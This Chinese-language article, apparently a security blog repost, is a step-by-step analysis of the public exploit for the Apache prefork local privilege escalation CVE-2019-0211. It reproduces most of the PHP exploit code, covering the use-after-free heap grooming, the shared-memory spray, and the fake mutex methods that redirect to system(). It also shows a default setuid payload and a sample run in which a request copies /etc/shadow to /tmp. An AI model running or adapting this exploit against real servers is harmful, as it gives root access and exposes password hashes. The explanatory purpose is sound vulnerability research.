Apache HTTP 被发现存在本地提权漏洞（CVE-2019-0211），漏洞作者在名列前茅时间就给出了WriteUp和漏洞EXP，阿尔法实验室也对EXP进行了深入分析，在此将分析的笔记整理分享出来，希望对大家理解该漏洞有所帮助。下面内容主要按着EXP的执行步骤一步步讲解，同时详细解释了利用过程中几个比较难理解的点。
一、漏洞成因
作者的WriteUp中对导致漏洞代码已经有了介绍，这里就只是简单提一下，并省略了大部分的源码以减轻阅读负担。
在Apache的MPM prefork模式中，以root权限运行主服务器进程，同时管理一个低特权工作进程（worker）池，用于处理HTTP请求。主进程和worker之间通过一个共享内存（SHM）进行通信。
1.当Apache httpd服务器优雅重启（graceful）时，httpd主进程会杀死旧worker并用新worker替换它们，这就会调用prefork_run()函数产生新的worker：
//server/mpm/prefork/prefork.cstatic int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s){ /* ... */ make_child(ap_server_conf, child_slot, ap_get_scoreboard_process(child_slot)->bucket); /* ... */}
2.在该函数中调用make_child()，并使用ap_get_scoreboard_process(child_slot)->bucket作为参数。make_child()函数会创建新的子进程，同时根据bucket索引读取all_buckets数组到my_bucket：
//server/mpm/prefork/prefork.cstatic int make_child(server_rec *s, int slot, int bucket){ /* ... */ my_bucket = &all_buckets[bucket]; /* ... */ child_main(slot, bucket); /* ... */
3.调用child_main()，如果Apache侦听多个端口，那么SAFE_ACCEPT(<code>)宏中的<code>将会执行，这里apr_proc_mutex_child_init()将会执行：
//server/mpm/prefork/prefork.cstatic void child_main(int child_num_arg, int child_bucket){ /* ... */ status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex, apr_proc_mutex_lockfile(my_bucket->mutex), pchild)); /* ... */
4.上述函数进一步调用(*mutex)->meth->child_init(mutex, pool, fname):
//apr-1.7.0//locks/unix/proc_mutex.cAPR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex, const char *fname, apr_pool_t *pool){ return (*mutex)->meth->child_init(mutex, pool, fname);}
整个简化的流程如下：
prefork_run() make_child(bucket) my_bucket = &all_buckets[bucket]; child_main(bucket) SAFE_ACCEPT(apr_proc_mutex_child_init) apr_proc_mutex_child_init(my_bucket->mutex) mutex->meth->child_init(&my_bucket->mutex)//覆盖child_init()的指针来指向代码
如果我们在共享内存中伪造一个prefork_child_bucket结构（即all_buckets数组的元素），并修改all_buckets数组的索引bucket，就可以在第三行处的代码控制my_bucket指向该结构。
进而在后续代码执行my_bucket->mutex->meth->child_init(mutex, pool, fname)，meth结构包含指向多个函数的指针，因此，将其中的child_init函数的指针覆盖为我们想要执行函数的指针，就可以达到漏洞利用的目的，并且此时进程还是处于root权限的，后面才降低自身的权限。
二、漏洞利用
作者在其WriteUp将利用过程分为四个步骤，但实际的exp要比他写得更繁琐一点，在顺序上也稍微有些不同。以下是根据exp执行步骤整理的流程，补充了一些细节：
-
利用PHP读取worker的/proc/self/maps文件，进而定位一些漏洞利用所需模块和函数的地址
-
枚举/proc/*/cmdline和/proc/*/status文件，得到所有worker进程的PID
-
利用一个PHP的UAF漏洞，在worker进程中获取读/写SHM的权限
-
遍历Apache的内存，根据内存模式匹配找到与
all_buckets数组地址 -
因为优雅重启后，
all_buckets的位置会改变，因此需要计算一个”适当”的bucket索引，保证all_buckets[bucket]仍然指向伪造的prefork_child_bucket结构 -
在SHM中构造payload
-
喷射payload之后剩余的SHM区域，确保第5步中
all_buckets[bucket]指向这片区域后，能转跳到payload -
将
process_score->bucket修改为第5步中计算的bucket。此外为了进一步提高成功率，还可以枚举SHM区域所有的process_score结构，将每个worker的process_score->pid与第2步得到的PID的相比较，匹配上的就是正确的process_score结构，将每个worker的process_score->bucket都进行修改。 -
等待Apache优雅重启触发漏洞（每天早上6:25会自动执行，也可手动重启验证结果）
具体的细节如下图：
2.1 exp概述
get_all_addresses()、get_workers_pids()函数分别取得几个关键内存地址、worker的PID放入全局变量$addresses和$worker_pids中，以便在随后的利用中使用。需要注意如果执行exp时无法解析shm和apache的地址，可能是因为你的环境中shm的大小与exp中查找的范围不一致，可以自己查看一下maps文件，然后修改if ($msize >= 0x10000 && $msize <= 0x16000)这一行为正确的值即可。
real()函数有两个作用，一是触发PHP的UAF漏洞。二是开始真正的漏洞利用过程，因为Z中定义了jsonSerialize()方法，它会在类实例被序列化的时候调用，即后面执行json_encode()时调用，而所有的利用代码都在jsonSerialize()中。
下面的代码只保留了EXP的基本框架，只为了让大家有一个整体上的概念：
<?phpfunction real(){ global $y; $y = [new Z()]; json_encode([0 => &$y]);}class Z implements JsonSerializable{ public function jsonSerialize() { ... } ... } ...function get_all_addresses(){ ... } function get_workers_pids(){ ... } $addresses = get_all_addresses();$workers_pids = get_workers_pids();real();
接下来具体看看jsonSerialize()中的代码。
2.2 利用PHP的UAF获取读写SHM的权限
还是先概括的讲一讲PHP这个UAF漏洞原理：
class Z implements JsonSerializable{ public function jsonSerialize() { global $y, $addresses, $workers_pids; ... $this->abc = ptr2str(0, 79); //ptr2str在这里等同于创建一个字符串 ... unset($y[0]); ... $x = new DateInterval('PT1S'); ... }}
1. 我们在Z中定义了一个字符串$this->abc（PHP内部使用zend_string表示），就好比C中malloc一块内存
2. 接着unset($y[0])（Z的实例），就像”free”掉刚才分配的内存
3. 然后再请求分配一个和刚才释放大小相同的内存块，这里使用的是DateInterval（PHP的对象内部实现往往由几个结构体组成，这里其实是DateInterval中的timelib_rel_time和zend_string大小相同），于是DateInterval就占据了原来字符串的位置，如下图所示
4. 此时$this->abc仍然可用并指向原来的位置，于是我们可以通过修改DateInterval来控制字符串$this->abc。
PHP字符串的内部实现如下，用一个zend_string表示，通过成员变量len来判断字符串长度，从而实现二进制安全。我们修改DateInterval的属性间接修改len的大小就可以通过this->abc读写SHM区域了。当然，为了能够成功利用漏洞，还有许多细节需要考虑。
struct _zend_string { zend_refcounted gc; zend_ulong h; size_t len; char val[1];};
2.2.1 填充空闲内存块
在脚本运行之前可能发生了大量的分配/释放，因此同时实例化的两个变量也不一定是连续的，为解决这个问题，实例化几个DateInterval对象填充不连续空闲块，以确保后面分配的内存是连续的：
$contiguous = [];for($i=0;$i<10;$i++) $contiguous[] = new DateInterval('PT1S');$_protector = ptr2str(0, 78);
2.2.2 创建保护内存块
为了保证UAF后我们控制的结构属于一块空闲内存，如果我们之后创建其他变量，那么这些变量可能会破坏我们已经控制的结构，为了避免这种情况，这里分配了很多对象Z的实例，后面的代码中会将其释放，由于PHP的堆LIFO的特点，这些释放掉的内存会优先于UAF的那块内存分配，从而保护被我们控制的结构。
$room = [];for($i=0;$i<10;$i++) $room[] = new Z();
函数ptr2str的作用相当于在内存中分配一个大小为78的zend_string结构，为什么是78这个大小接下来会提到。
$_protector = ptr2str(0, 78);
2.2.3 分配UAF的字符串
接着创建字符串$this->abc，也就是一个zend_string结构，通过对它进行UAF，进而读写共享内存。
$this->abc = ptr2str(0, 79);$p = new DateInterval('PT1S');
创建$p的目的是为了保护$this->abc，前面说过，一个PHP对象往往由许多结构组成，而DateInterval中的timelib_rel_time结构大小就刚好为78，这就是前面为何要创建大小78的zend_string的原因。
此时的内存布局如下图所示，这里和下面的所有图示都是为了方便大家理解，因为PHP各种变量、对象都是由好几个结构组成，所以实际的PHP堆内存排布肯定比此复杂。
2.2.4 触发UAF并验证
接着unset当前对象$y[0]和$p，unset掉$p意味着释放了DateInterval的timelib_rel_time结构。
unset($y[0]);unset($p);
此时内存布局如下：
然后我们将分配一个与其大小相同的字符串（$protector），由于PHP堆LIFO的特点，因此字符串将取代timelib_rel_time结构的位置。
# Protect $p's timelib_rel_time structure$protector = ".$_protector";
接着就是最重要的一步：
$x = new DateInterval('PT1S');
再次创建一个DateInterval，它的timelib_rel_time结构将刚好占据上图中free的内存位置，同时$this->abc仍然是可以访问free这块内存的，即：&timelib_rel_time == &zend_string。因此我们可以通过修改DateInterval对象来修改zend_string.len，从而控制可以读/写内存的长度。
完成上述步骤后，我们还需要验证UAF是否成功，看一下DateInterval的定义：
DateInterval {/* Properties */public integer $y ;public integer $m ;public integer $d ;public integer $h ;public integer $i ;public integer $s ;public float $f ;public integer $invert ;public mixed $days ;/* Methods */public __construct ( string $interval_spec )public static createFromDateString ( string $time ) : DateIntervalpublic format ( string $format ) : string}
因为有&timelib_rel_time == &zend_string，所以这里的$d和$y分别对应zend_string里的len和val。可以将$x（DateInterval）的h属性设置为0x13121110，再通过$this->abc字符串（zend_string）访问来判断UAF成功与否。
# zend_string.refcount = 0$x->y = 0x00;# zend_string.len$x->d = 0x100;# zend_string.val[0-4]$x->h = 0x13121110;if(!( strlen($this->abc) === $x->d && $this->abc[0] == "x10" && $this->abc[1] == "x11" && $this->abc[2] == "x12" && $this->abc[3] == "x13")){ o('UAF failed, exiting.'); exit();} o('UAF successful.');;
最后别忘了释放掉$room，产生的空闲块将保护我们控制的结构，后面再新建变量都会优先使用这些内存。
unset($room);
2.2.5 控制并修改UAF的结构
利用这个PHP漏洞的目的是为了能够获取读写SHM的权限，现在我们能够读写zend_string.val的内容，能读写的长度是zend_string.len，因此只要将len的值增加到包括SHM的范围。
这时我们已经知道了SHM的绝对地址，还需要知道abc的绝对地址，得到两者之间的偏移量才可以修改len。因此需要找到字符串$this->abc在内存中的位置：
$address = str2ptr($this->abc, 0x70 * 2 - 24);$address = $address - 0x70 * 3;$address = $address + 24;o('Address of $abc: 0x' . dechex($address));
然后我们就可以计算两者间的偏移量了，还要注意的是，因为后面我们需要在内存中查找all_bucket，而它在apache的内存中所以我们的len需要将SHM和apache的内存都覆盖到，所以作者的WriteUp中说SHM和apache的内存都需要在PHP堆之后，而它们也确实都在PHP堆之后。
找SHM和apache的内存两者间较大的值，减去abc的地址，将得到的偏移通过DateInterval的d属性修改来修改zend_string.len。
$distance = max($addresses['apache'][1], $addresses['shm'][1]) - $address;$x->d = $distance;
这等同于将zend_string结构（$this->abc）中的len修改为一个超大的值，一直包括到SHM和Apache内存区域，这下我们就可以读写这个范围内的内存了。
2.3 在内存中定位all_buckets
根据内存模式查找all_buckets数组的位置，这在作者的writeup中有提到。mutex在all_buckets偏移0x10的位置，而meth在mutex偏移0x8的位置，根据该特征查找all_buckets数组。
首先，在apache的内存中搜索all_buckets[idx]->mutex，接着验证meth，是否在libapr.so的.data段中，最后因为meth指向libapr.so中定义的函数，因此验证其是否在.text段。满足这些条件的就是我们要找的all_buckets[]结构。
$all_buckets = 0; for( $i = $addresses['apache'][0] + 0x10; $i < $addresses['apache'][1] - 0x08; $i += 8 ) { # mutex $mutex = $pointer = str2ptr($this->abc, $i - $address); if(!in($pointer, $addresses['apache'])) continue; # meth $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address); if(!in($pointer, $addresses['libaprR'])) continue; o(' [&mutex]: 0x' . dechex($i)); o(' [mutex]: 0x' . dechex($mutex)); o(' [meth]: 0x' . dechex($meth));
顺便将meth结构中所有函数指针打印出来，第6个就是我们要用到的(*child_init)()。
# meth->* # flags if(str2ptr($this->abc, $pointer - $address) != 0) continue; # methods for($j=0;$j<7;$j++) { $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address); if(!in($m, $addresses['libaprX'])) continue 2; o(' [*]: 0x' . dechex($m)); } $all_buckets = $i - 0x10; o('all_buckets = 0x' . dechex($all_buckets)); break; }
这是meth的结构，可以对照着看一看：
struct apr_proc_mutex_unix_lock_methods_t { unsigned int flags; apr_status_t (*create)(apr_proc_mutex_t *, const char *); apr_status_t (*acquire)(apr_proc_mutex_t *); apr_status_t (*tryacquire)(apr_proc_mutex_t *); apr_status_t (*release)(apr_proc_mutex_t *); apr_status_t (*cleanup)(void *); apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); const char *name;};
2.4 计算索引buckets
再回忆一下漏洞利用的方法：在SHM中构造payload （prefork_child_bucket结构），同时将剩余SHM区域喷射payload地址（并非payload起始地址）， 控制指向喷射区域，所以&all_buckets[bucket]中的meth必然指向payload ，而payload中我们已将child_init函数的指针覆盖为我们想要执行函数的指针，就可以达到漏洞利用的目的。
要想控制&all_buckets[bucket]指向prefork_child_bucket结构，不能直接将该结构精确放在某个位置，然后直接计算两者间的偏移，因为all_buckets的地址在每优雅重启后会发生变化，所以漏洞被触发时all_buckets的地址将与我们找到的地址是不同的，这就是作者在EXP中进行堆喷的目的。
all_buckets是一个结构体数组，元素prefork_child_bucket结构由三个指针组成：
typedef struct prefork_child_bucket { ap_pod_t *pod; ap_listen_rec *listeners; apr_proc_mutex_t *mutex;} prefork_child_bucket;
如果在SHM中大量喷射一个指向payload的地址，只要让&all_buckets[bucket]落在该区域内，payload就能得到执行，如下图中所示：
并且在EXP中，作者一共使用了两种方法来提高利用成功率：
1.喷射SHM，也就是上面提到的方法
2.修改每个worker的process_score->bucket结构，这样一来，利用成功率就可以再乘以Apache Worker的数量。这也是exp开始时调用$workers_pids = get_workers_pids();的原因。
先看名列前茅种方法的实现：
SHM的起始部分是被apache的各个进程使用的，可以用SHM末尾的绝对地址$spray_max，减去未使用的内存空间大小$spray_size，得到要喷射区域的大小$spray_size；而未使用空间的大小可以通过减去已使用worker_score结构的总大小得到。
$size_prefork_child_bucket = 24;$size_worker_score = 264;$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);$spray_max = $addresses['shm'][1];$spray_min = $spray_max - $spray_size;
然后找喷射区域地址的中间值，计算它和all_buckets地址的偏移，再除以prefork_child_bucket结构的大小，就可以得到一个all_buckets数组下标索引，但别忘了SHM在all_buckets之前，所以这个索引还要取负值，这个值用$bucket_index_middle表示。
$spray_middle = (int) (($spray_min + $spray_max) / 2);$bucket_index_middle = (int) ( - ($all_buckets - $spray_middle) / $size_prefork_child_bucket );
这样做的目的在于，在每优雅重启后，即便all_buckets的地址有所变化，&all_buckets[bucket]指向的位置会在$spray_middle上下浮动，最大程度上保证了该指针落在喷射的内存范围内，如下图所示：
2.5 设置payload并喷射SHM
Payload由三个部分组成
1.bucket，用来存放要执行的命令，这是因为payload已经成了几个结构的叠加。
2.meth，它还是apr_proc_mutex_unix_lock_methods_t结构，只是它的child_init替换成了zend_object_std_dtor，其他指针置空。
3.properties，这是PHP内部结构zend_object的一个成员。
回忆漏洞的攻击链，最后的child_init被替换成函数zend_object_std_dtor执行，其原型如下，传入一个zend_object结构：
ZEND_API void zend_object_std_dtor(zend_object *object);
所以原本传给child_init的&my_bucket->mutex（prefork_child_bucket结构的一部分）就和zend_object相叠加了。
zend_object_std_dtor的执行又导致以下调用链：
...mutex = &my_bucket->mutexapr_proc_mutex_child_init(mutex) //(*mutex)->meth->child_init() (*mutex)->meth->zend_object_std_dtor(object) //[object = mutex] ht = object->properties zend_array_destroy(ht) zend_hash_destroy(ht) val = &ht->arData[0]->val ht->pDestructor(val)
上面的代码properties是一个zend_array结构，如下所示，我们控制其中的arData，pDestructor，如果我们将上面&ht->arData[0]->val放入要执行的命令，pDestructor()覆盖为system的地址，就可以实现命令执行了。
struct _zend_array { zend_refcounted_h gc; //... uint32_t nTableMask; Bucket *arData; uint32_t nNumUsed; uint32_t nNumOfElements; uint32_t nTableSize; uint32_t nInternalPointer; zend_long nNextFreeElement; dtor_func_t pDestructor;};
回到exp中，首先构造bucket部分，放入要执行的命令，没有参数时默认执行”chmod +s /usr/bin/python3.5″，但是自定义的命令长度也不能超过152字节。
# Build payload$payload_start = $spray_min - $size_worker_score;$z = ptr2str(0); # Payload maxsize 264 - 112 = 152 $bucket = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : "chmod +s /usr/bin/python3.5"; if(strlen($bucket) > $size_worker_score - 112) { o( 'Payload size is bigger than available space (' . ($size_worker_score - 112) . '), exiting.' ); exit(); } # Align $bucket = str_pad($bucket, $size_worker_score - 112, "x00");
然后是meth，将原本child_init的指针改为zend_object_std_dtor：
# apr_proc_mutex_unix_lock_methods_t $meth = $z . $z . $z . $z . $z . $z . # child_init ptr2str($addresses['zend_object_std_dtor']) ;
经过调试也可以看到child_init被覆盖：
然后是properties（zend_array和apr_proc_mutex_t结构的叠加），u-nTableMask的位置将用作apr_proc_mutex_t结构的meth，而arData指向payload中的bucket。
$properties = # refcount ptr2str(1) . # u-nTableMask meth ptr2str($payload_start + strlen($bucket)) . # Bucket arData ptr2str($payload_start) . # uint32_t nNumUsed; ptr2str(1, 4) . # uint32_t nNumOfElements; ptr2str(0, 4) . # uint32_t nTableSize ptr2str(0, 4) . # uint32_t nInternalPointer ptr2str(0, 4) . # zend_long nNextFreeElement $z . # dtor_func_t pDestructor ptr2str($addresses['system']) ;
将各部分组合：
$payload = $bucket . $meth . $properties ;
通过前面UAF控制的字符串abc写入SHM未使用部分的开头：
o('Placing payload at address 0x' . dechex($payload_start)); $p = $payload_start - $address; for( $i = 0; $i < strlen($payload); $i++ ) { $this->abc[$p+$i] = $payload[$i]; }
打印信息，将SHM剩下的部分喷射为properties的地址
$properties_address = $payload_start + strlen($bucket) + strlen($meth); o('Spraying pointer'); o(' Address: 0x' . dechex($properties_address)); o(' From: 0x' . dechex($spray_min)); o(' To: 0x' . dechex($spray_max)); o(' Size: 0x' . dechex($spray_size)); o(' Covered: 0x' . dechex($spray_size * count($workers_pids))); o(' Apache: 0x' . dechex( $addresses['apache'][1] - $addresses['apache'][0] )); $s_properties_address = ptr2str($properties_address); for( $i = $spray_min; $i < $spray_max; $i++ ) { $this->abc[$i - $address] = $s_properties_address[$i % 8]; }
讲到这里可以再回头看看文章刚开始的图，应该就更容易理解了。
2.6 进一步提高成功率
前面还讲到，可以修改每个worker的process_score->bucket结构，这样一来，利用成功率就可以再乘以Apache Worker的数量，因为2.4中计算出的bucket索引能落在了SHM之外，如果有多个worker，如下图所示，就能提高&all_buckets[bucket]落在SHM中的概率：
迭代查找每个process_score结构直到找到每个PID，再将找到的PID$workers_pids中的PID对比，匹配的就说明是正确的结构。
$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);$total_nb_buckets = $spray_nb_buckets * count($workers_pids);$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2); for( $p = $addresses['shm'][0] + 0x20; $p < $addresses['shm'][1] && count($workers_pids) > 0; $p += 0x24 ) { $l = $p - $address; $current_pid = str2ptr($this->abc, $l, 4); o('Got PID: ' . $current_pid); # The PID matches one of the workers if(in_array($current_pid, $workers_pids)) { unset($workers_pids[$current_pid]); o(' PID matches');
将所有workerprocess_score.bucket都进行修改，而非修改其中一个：
# Update bucket address $s_bucket_index = pack('l', $bucket_index); $this->abc[$l + 0x20] = $s_bucket_index[0]; $this->abc[$l + 0x21] = $s_bucket_index[1]; $this->abc[$l + 0x22] = $s_bucket_index[2]; $this->abc[$l + 0x23] = $s_bucket_index[3]; o(' Changed bucket value to ' . $bucket_index); $min = $spray_min - $size_prefork_child_bucket * $bucket_index; $max = $spray_max - $size_prefork_child_bucket * $bucket_index; o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max)); # This bucket range is covered, go to the next one $bucket_index += $spray_nb_buckets;
到这里，整个漏洞利用过程就结束了，可以等到6:25AM查看利用是否利用成功，也可以手动执行apachectl graceful验证。
if(count($workers_pids) > 0) { o( 'Unable to find PIDs ' . implode(', ', $workers_pids) . ' in SHM, exiting.' ); exit(); } o(''); o('EXPLOIT SUCCESSFUL.'); o('Await 6:25AM.'); return 0;
➜ curl http://192.168.116.133/carpediem.php?cmd=cp+/etc/shadow+/tmp/CARPE (DIEM) ~ CVE-2019-0211PID: 887Fetching addresses zend_object_std_dtor: 0x7fc38f605700 system: 0x7fc3936bc480 libaprX: 0x7fc393c39000-0x0x7fc393c6b000 libaprR: 0x7fc393e6b000-0x0x7fc393e6c000 shm: 0x7fc394456000-0x0x7fc39446a000 apache: 0x7fc39446a000-0x0x7fc39452a000Obtaining apache workers PIDs Found apache worker: 887 Found apache worker: 888 Found apache worker: 889 Found apache worker: 890 Found apache worker: 891Got 5 PIDs.Triggering UAF Creating room and filling empty spaces Allocating $abc and $p Unsetting both variables and setting $protector Creating DateInterval objectUAF successful.Address of $abc: 0x7fc38aaa34e8Looking for all_buckets in memory [&mutex]: 0x7fc3944cab70 [mutex]: 0x7fc3944cacc0 [meth]: 0x7fc393e6bca0 [*]: 0x7fc393c53ce0 [*]: 0x7fc393c541b0 [*]: 0x7fc393c53e90 [*]: 0x7fc393c54210 [*]: 0x7fc393c53bf0 [*]: 0x7fc393c53960 [*]: 0x7fc393c6228call_buckets = 0x7fc3944cab60Computing potential bucket indexes and addresses[bucket_index_middle]: -17858Placing payload at address 0x7fc39445a148Spraying pointer Address: 0x7fc39445a218 From: 0x7fc39445a250 To: 0x7fc39446a000 Size: 0xfdb0 Covered: 0x4f470 Apache: 0xc0000Iterating in SHM to find PIDs...[spray_nb_bucket]: 2706[total_nb_buckets]: 13530[bucket_index]: -24623Got PID: 887 PID matches Changed bucket value to -24623 Ranges: 0x7fc3944ea6b8 - 0x7fc3944fa468Got PID: 888 PID matches Changed bucket value to -21917 Ranges: 0x7fc3944da908 - 0x7fc3944ea6b8Got PID: 889 PID matches Changed bucket value to -19211 Ranges: 0x7fc3944cab58 - 0x7fc3944da908Got PID: 890 PID matches Changed bucket value to -16505 Ranges: 0x7fc3944bada8 - 0x7fc3944cab58Got PID: 891 PID matches Changed bucket value to -13799 Ranges: 0x7fc3944aaff8 - 0x7fc3944bada8EXPLOIT SUCCESSFUL.Await 6:25AM.
上述内容就是如何进行Apache HTTP组件提权漏洞利用过程深度分析，你们学到知识或技能了吗？如果还想学到更多技能或者丰富自己的知识储备，欢迎关注亿速云行业资讯频道。
文章标题：如何进行Apache HTTP组件提权漏洞利用过程深度分析，发布者：亿速云，转载请注明出处：https://worktile.com/kb/p/25645
微信扫一扫 
支付宝扫一扫 
